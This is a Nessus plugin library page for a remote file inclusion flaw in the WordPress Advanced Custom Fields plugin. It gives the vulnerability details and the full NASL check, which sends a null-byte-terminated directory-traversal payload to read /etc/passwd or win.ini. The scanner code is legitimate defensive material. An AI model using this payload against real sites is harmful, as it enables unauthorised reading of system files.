Advanced Custom Fields Plugin for WordPress 'acf_abspath' Parameter Remote File Inclusion - Nessus

High   Plugin ID: 63326

This page contains detailed information about the Advanced Custom Fields Plugin for WordPress 'acf_abspath' Parameter Remote File Inclusion Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 63326
Name: Advanced Custom Fields Plugin for WordPress 'acf_abspath' Parameter Remote File Inclusion
Filename: wordpress_advanced_custom_fields_rfi.nasl
Vulnerability Published: 2012-11-14
This Plugin Published: 2012-12-21
Last Modification Time: 2021-01-19
Plugin Version: 1.10
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: os_fingerprint.nasl, wordpress_detect.nasl
Required KB Items [?]: installed_sw/WordPress, www/PHP

Vulnerability Information


Severity: High
Vulnerability Published: 2012-11-14
Patch Published: 2012-11-16
CVE [?]: N/A
CPE [?]: cpe:/a:wordpress:wordpress

Synopsis

The remote web server contains a PHP application that is afffected by a remote file inclusion attack.

Description

The version of the Advanced Custom Fields plugin for WordPress installed on the remote host fails to properly sanitize user-supplied input to the 'acf_abspath' parameter of its 'core/actions/export.php' script. A remote, unauthenticated attacker can exploit this issue to view arbitrary files or execute arbitrary PHP code, possibly taken from third-party hosts, on the remote host.

Solution

Upgrade to Advanced Custom Fields version 3.5.2 or later.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Advanced Custom Fields Plugin for WordPress 'acf_abspath' Parameter Remote File Inclusion vulnerability:

  1. Metasploit: exploit/unix/webapp/wp_advanced_custom_fields_exec
    [WordPress Plugin Advanced Custom Fields Remote File Inclusion]
  2. D2 Elliot: wordpress_advanced_custom_fields_3.5.1_rfi.html
    [WordPress Advanced Custom Fields 3.5.1 RFI]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:ND
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)

Go back to menu.

Plugin Source


This is the wordpress_advanced_custom_fields_rfi.nasl nessus plugin source code. This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(63326);
  script_version("1.10");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_bugtraq_id(56528);

  script_name(english:"Advanced Custom Fields Plugin for WordPress 'acf_abspath' Parameter Remote File Inclusion");
  script_summary(english:"Attempts to read a local file.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is afffected by
a remote file inclusion attack.");
  script_set_attribute(attribute:"description", value:
"The version of the Advanced Custom Fields plugin for WordPress
installed on the remote host fails to properly sanitize user-supplied
input to the 'acf_abspath' parameter of its 'core/actions/export.php'
script. A remote, unauthenticated attacker can exploit this issue to
view arbitrary files or execute arbitrary PHP code, possibly taken
from third-party hosts, on the remote host.");
  # http://ceriksen.com/2012/11/14/wordpress-advanced-custom-fields-remote-file-inclusion-vulnerability/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?91911f17");
  script_set_attribute(attribute:"see_also", value:"http://www.advancedcustomfields.com/to-do/#3.5.2");
  script_set_attribute(attribute:"solution", value:"Upgrade to Advanced Custom Fields version 3.5.2 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"WordPress Advanced Custom Fields 3.5.1 RFI");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'WordPress Plugin Advanced Custom Fields Remote File Inclusion');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/11/14");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/11/16");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/12/21");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:wordpress:wordpress");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("wordpress_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("installed_sw/WordPress", "www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");
include("data_protection.inc");

app = "WordPress";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port, qs:dir);

plugin = 'Advanced Custom Fields';

# Check KB first
installed = get_kb_item("www/"+port+"/webapp_ext/"+plugin+" under "+dir);

if (!installed)
{
  checks = make_array();
  regexes = make_list();
  regexes[0] = make_list('#acf_fields');
  checks["/wp-content/plugins/advanced-custom-fields/js/fields.js"] = regexes;

  # Ensure plugin is installed
  installed = check_webapp_ext(
    checks : checks,
    dir    : dir,
    port   : port,
    ext    : plugin
  );
}
if (!installed)
  audit(AUDIT_WEB_APP_EXT_NOT_INST, app, install_url, plugin + " plugin");

# Determine what to look for.
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) files = make_list('windows/win.ini', 'winnt/win.ini');
  else files = make_list('etc/passwd');
}
else files = make_list('etc/passwd', 'windows/win.ini', 'winnt/win.ini');

file_pats = make_array();
file_pats['etc/passwd'] = "root:.*:0:[01]:";
file_pats['winnt/win.ini'] = "^\[[a-zA-Z]+\]|^; for 16-bit app support";
file_pats['windows/win.ini'] = "^\[[a-zA-Z]+\]|^; for 16-bit app support";

foreach file (files)
{
  url = "/wp-content/plugins/advanced-custom-fields/core/actions/export.php";
  attack =  mult_str(str:"../", nb:12) + file;

  res2 = http_send_recv3(
    method    : "POST",
    item      : dir + url,
    data      : "acf_abspath=" + urlencode(str:attack) + "%00",
    content_type : "application/x-www-form-urlencoded",
    port         : port,
    exit_on_fail : TRUE
  );
  body = res2[2];

  # Check for errors
  error_returned = FALSE;
  if (
    !isnull(body) &&
    (
      (attack+'\\0wp-load.php): failed to open stream:' >< body) ||
      (attack+'\\0wp-load.php) [function.include]: failed to open stream:' >< body) ||
      (attack+'\\0wp-load.php'+") [<a href='function.include'>function.include</a>]: failed to open stream:" >< body) ||

      #open_basedir
      (attack+'\\0wp-load.php) [function.require_once]: failed to open stream:' >< body) ||
      (attack+'\\0wp-load.php'+") [<a href='function.require-once'>function.require-once</a>]: failed to open stream:" >< body) ||
      ("open_basedir restriction in effect. File("+attack+")" >< body)
    )
  ) error_returned = TRUE;
  pat = file_pats[file];

  # check for expected output or an error and report findings
  if ((body =~ pat) || (error_returned))
  {
    if (report_verbosity > 0)
    {
      snip =  crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
      if (error_returned)
      {
        report =
          '\nNessus was not able to exploit the issue, but was able to verify it' +
          '\n' + 'exists by examining the error message returned from the following' +
          '\n' + 'request :' +
          '\n' +
          '\n' + http_last_sent_request() +
          '\n' +
          '\n';
      }
      else
      {
        report =
          '\nNessus was able to exploit the issue to retrieve the contents of ' +
          '\n'+ "'" + file + "'" + ' using the following request :' +
          '\n' +
          '\n' + http_last_sent_request() +
          '\n' +
          '\n';
      }
      if (report_verbosity > 1)
      {
        body = data_protection::redact_etc_passwd(output:body);
        report +=
          '\n' + 'This produced the following output :' +
          '\n' +
          '\n' + snip +
          '\n' + chomp(body) +
          '\n' + snip +
          '\n';
      }
      security_hole(port:port, extra:report);
    }
    else security_hole(port);
    exit(0);
  }
}
audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, install_url, plugin + " plugin");

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/wordpress_advanced_custom_fields_rfi.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\wordpress_advanced_custom_fields_rfi.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/wordpress_advanced_custom_fields_rfi.nasl

Go back to menu.

How to Run


Here is how to run the Advanced Custom Fields Plugin for WordPress 'acf_abspath' Parameter Remote File Inclusion as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Advanced Custom Fields Plugin for WordPress 'acf_abspath' Parameter Remote File Inclusion plugin ID 63326.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl wordpress_advanced_custom_fields_rfi.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a wordpress_advanced_custom_fields_rfi.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - wordpress_advanced_custom_fields_rfi.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state wordpress_advanced_custom_fields_rfi.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 24284 - Advanced Poll admin/index.php Session Identifier Replay Authentication Bypass
  • 21302 - phpBB Advanced GuestBook addentry.php phpbb_root_path Parameter Remote File Inclusion
  • 147637 - F5 Networks BIG-IP : BIG-IP Advanced WAF and ASM iControl REST vulnerability (K06440657)
  • 147630 - F5 Networks BIG-IP : Advanced WAF/ASM TMUI authenticated remote command execution vulnerability (K45056101)
  • 147634 - F5 Networks BIG-IP : Advanced WAF/ASM buffer-overflow vulnerability (K52510511)
  • 147635 - F5 Networks BIG-IP : BIG-IP Advanced WAF and ASM XSS vulnerability (K55237223)
  • 147625 - F5 Networks BIG-IP : Appliance mode Advanced WAF/ASM TMUI authenticated remote command execution vulnerability (K56142644)
  • 125872 - RHEL 8 : Advanced Virtualization (RHSA-2019:1455)
  • 62736 - WANem index-advanced.php XSS

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file wordpress_advanced_custom_fields_rfi.nasl version 1.10. For more plugins, visit the Nessus Plugin Library.

Go back to menu.